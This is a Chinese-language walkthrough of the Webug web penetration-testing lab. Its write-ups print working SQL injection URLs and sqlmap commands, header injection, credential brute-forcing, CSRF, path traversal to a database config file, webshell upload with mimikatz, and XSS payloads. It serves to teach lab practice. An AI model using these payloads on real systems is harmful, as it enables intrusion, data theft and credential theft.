Webug渗透基础教程

####普通的GET注入

解法一:使用sqlmap

1)sqlmap -u”http://172.16.193.128/pentest/test/sqli/sqltamp.php?gid=1" -b –current-db –current-user

可以看到当前的数据库名称以及用户名称

webug1-1

2)sqlmap -u”http://172.16.193.128/pentest/test/sqli/sqltamp.php?gid=1" -D pentesterlab –tables

可以看到pentesterlab中有那些数据表

img

3)sqlmap -u”http://172.16.193.128/pentest/test/sqli/sqltamp.php?gid=1" -D pentesterlab -T flag –columns

显示出该表下的所有列

img

4)sqlmap -u”http://172.16.193.128/pentest/test/sqli/sqltamp.php?gid=1" -D pentesterlab -T flag -C flag –dump

得到flag:204f704fbbcf6acf398ffee11989b377

img

解法二:手工进行注入

1)先通过order by 子句判断有几个字段。

http://172.16.193.128/pentest/test/sqli/sqltamp.php?gid=1’ order by 1 –+

当order by 后加数字为5的时候报错因而判断有4个表

2)爆数据库

http://172.16.193.128/pentest/test/sqli/sqltamp.php?gid=-1' UNION SELECT 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() –+

3)爆表名

http://172.16.193.128/pentest/test/sqli/sqltamp.php?gid=-1' UNION SELECT 1,2,3,group_concat(column_name) from information_schema.columns where table_name=0x666c6167 –+

4)爆列名

http://172.16.193.128/pentest/test/sqli/sqltamp.php?gid=-1' UNION SELECT 1,2,3,group_concat(id,0x5e,flag) from flag –+

参考:

http://www.freebuf.com/articles/web/29942.html

http://www.cnblogs.com/zlgxzswjy/p/6707433.html

####从图片中你能找到什么?

1)首先从网站下载这个图片,之后你可以选择用winhex(windows平台使用)分析或者使用binwalk(linux平台)来分析,这里使用binwalk

2)先看看文件的构成,可以看到是有一个rar格式的文件在里面的

img

3)分离文件(当然你把文件后缀修改为rar也是可以的)

img

4)直接看123.txt的内容是:密码是123。之后post这个密码就好

img

他题没有出好,咱们的思路是没有问题的。

img

####你看到了什么?

1)题目不明确的时候就看源码,源码注释部分有扫目录的提示

img

2)使用工具扫描目录

img

其实这里存在一个小技巧,如果对方没有设置好apache的话会出现列目录的情况,这往往会泄露信息

img

3)看一眼诡异的test

img

4)然后就解答了

img

####告诉你了FLANG是5位数

1)分析:先看源码无提示;再考虑注册等功能发现无解;最后考虑爆破

2)爆破无验证码所以使用burpsuite(此处示例使用)或者AWVS等工具均可,若有验证码则要考虑自己编写脚本。最后可以发现爆破结果为admin:admin123

img

img

3)登录发现没有flag(其实也是题目的问题,我们阅读源码即可发现)

img

####一个优点小小的特殊的注入

1)提示头注入,所以直接使用sqlmap进行注入,首先burp抓包然后保存在sqlmap中

img

2)分析:头注入可能出现的几个位置:X-Forwarded-For、User-agent、Referer、Cookie。此处没有出现X-Forwarded-For所以我将其加上先进行这个点的测试。运气不错直接报错。接下来进行注入,与第一题的手工注入过程类似进行注入即可,或者使用sqlmap进行注入(注入命令为:python .\sqlmap.py -r .\test.txt -p “X-Forwarded-For” text.txt文件的内容为你抓的包)。

img

最后成功注入得到flag

img

注释:其实你手里是有源代码的,源码看下从白盒角度分析你就可以得到tips在哪儿。这里是基础代码审计不过多解释(代码审计可以借助一些工具的比如我最喜欢的cobra)。

一下是使用cobra检测的结果:

img

####这关需要RMB购买哦

1)点开可以看到只有一个登陆框,查看源代码看是否有tips,

屏幕快照 2017-10-22 下午8.51.55

果真是有提示的:

屏幕快照 2017-10-22 下午9.02.58

2)跟着提示走,猜测是否可能为注入,但是当我访问链接

1
http://172.16.188.129/pentest/test/2/index.php?url=123

却出现了弹出并显示成功跳转,没啥用,还是看下账号密码吧,第一题注入也可以看到这个账号密码。

屏幕快照 2017-10-22 下午9.05.03

3)账号:密码>>>tom:123456登陆抓包可以控制金额进行买卖

####越权

1)让修改密码所以目标就很明确了,我要越权修改别人的密码

屏幕快照 2017-10-22 下午10.11.33

8.csrf

题目已经提示了是csrf所以我门使用burpsuite抓包然后直接生成PoC即可。

屏幕快照 2017-10-24 上午10.39.23

我们可以来测试一下效果:

屏幕快照 2017-10-24 上午10.42.42

首先我们访问我们的PoC

屏幕快照 2017-10-24 上午10.42.57

之后点击submit便可以看到提示修改密码成功:

屏幕快照 2017-10-24 上午10.43.04

####URL跳转

看到题目的提示我突然想到前面在源码中看到的一个提示:

1
<a href="index.php?url=#">I</a>

从这里顿时想到了跳转的原理,所以我们只需要这样做就可以访问百度了:

1
172.16.188.129/pentest/test/5/index.php?url=https://www.baidu.com/

####文件下载

直接访问发现是404,感觉有问题,还以为是要扫描发现某些文件,但发现不是,便去服务器看了下题目源码:

屏幕快照 2017-10-24 上午10.54.40

可以看到这个index.php是有问题的,所以我们直接看download.php即可

屏幕快照 2017-10-24 上午10.59.28

觉得没有方向的话还是先看源码或者抓包看有没有提示,很巧在源码中我们可以看到有个tips:帮管理员找回mysql帐号密码。通过文件下载找管理员密码,那么可以判断此处应该是任意文件下载漏洞。而要找到管理员的密码我们肯定是要先下载数据库配置文件之后看情况来判断是否需要下载数据库文件。通过之前那个题我们知道这个靶场的apache没有配置好导致文件路径泄漏的问题。所以我们来手动翻一翻。

屏幕快照 2017-10-24 上午11.08.29

发现data这个路径下什么都没有,所以是不是可能存在一个跟data同级的目录(其实刚才看源码我都看到了)

屏幕快照 2017-10-24 上午11.10.34

成功发现config.php,之后我们构造PoC进行下载:

1
http://172.16.188.129/pentest//test/6/1/download.php?fname=../../../pentest/test/6/1/db/config.php

之后打开就可以找到密码了,并不需要进一步对数据库做什么。

屏幕快照 2017-10-24 上午11.13.29

####我和上题有点像

这个和上面几乎一样,只不过参数的提交方式变了而已,我们用burp抓包然后修改pic参数即可。

屏幕快照 2017-10-24 上午11.54.08

####我系统密码忘记了

1)使用账号密码:tom;123456进行登录,登录后发现可以上传文件,所以便尝试上传webshell

屏幕快照 2017-10-24 下午12.00.24

2)发现没有任何过滤,所以之后使用cknife进行连接

3)上传mimikatz抓取管理员密码即可

####xss

无任何过滤的一个反射型xss

1
http://172.16.188.129/pentest/test/9/?id=%3Cscript%3Ealert(%27npusec%27)%3C/script%3E

屏幕快照 2017-10-24 下午12.12.35

####存储型xss

也是不存在任何的过滤,只需要在留言处填写:

1
<script>alert(/npusec/)</script>

屏幕快照 2017-10-24 下午12.16.02

####什么?图片上传不了?

1)上传一张图片

屏幕快照 2017-10-24 下午3.05.40

2)上传php脚本

屏幕快照 2017-10-24 下午3.05.56

3)不能是图片还不能是脚本,我们看下处理的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if(strstr($_FILES["file"]["type"],"image")&&strstr($_FILES["file"]["name"],"php")){

if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/" . $_FILES["file"]["name"]);
echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
}
}else if(strstr($_FILES["file"]["name"],"png")||strstr($_FILES["file"]["name"],"jpg")||strstr($_FILES["file"]["name"],"jpeg")||strstr($_FILES["file"]["name"],"bmp")||strstr($_FILES["file"]["name"],"gif")){
echo "<font color='red'>你真的上传了图片,可是这张图片我不喜欢,能换张吗?</font>";
}else{
echo "<font color='blue'>你居然不上传图片,宝宝怒了!!</font>";
}
echo "<hr/>";

4)根据代码来判断文件的type要为image、其次文件name要有php:

屏幕快照 2017-10-24 下午3.14.16

####明天双十一

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(strstr($url,"www.taobao.com")){
if($_SERVER['HTTP_HOST']=="10.10.10.10"){
if(strstr($_SERVER['HTTP_REFERER'],"www.baidu.com")){
if(strstr($_SERVER['HTTP_REFERER'],"www.baidu.com")){
echo "剁手了,请记录截图!!!flag:83242lkjKJ(*&*^*&k0"."<br/>";
}else{
echo "不想剁手了"."<br/>";
}
}else{
echo "nono"."<br/>";
}
}else{
echo "哎呀,这里只允许10.10.10.10访问!!!"."<br/>";
}
}else{
echo "这个地方剁手不好,换个地方!";
}

一目了然,只需要将几个关键地方设置正确即可:

屏幕快照 2017-10-24 下午3.01.40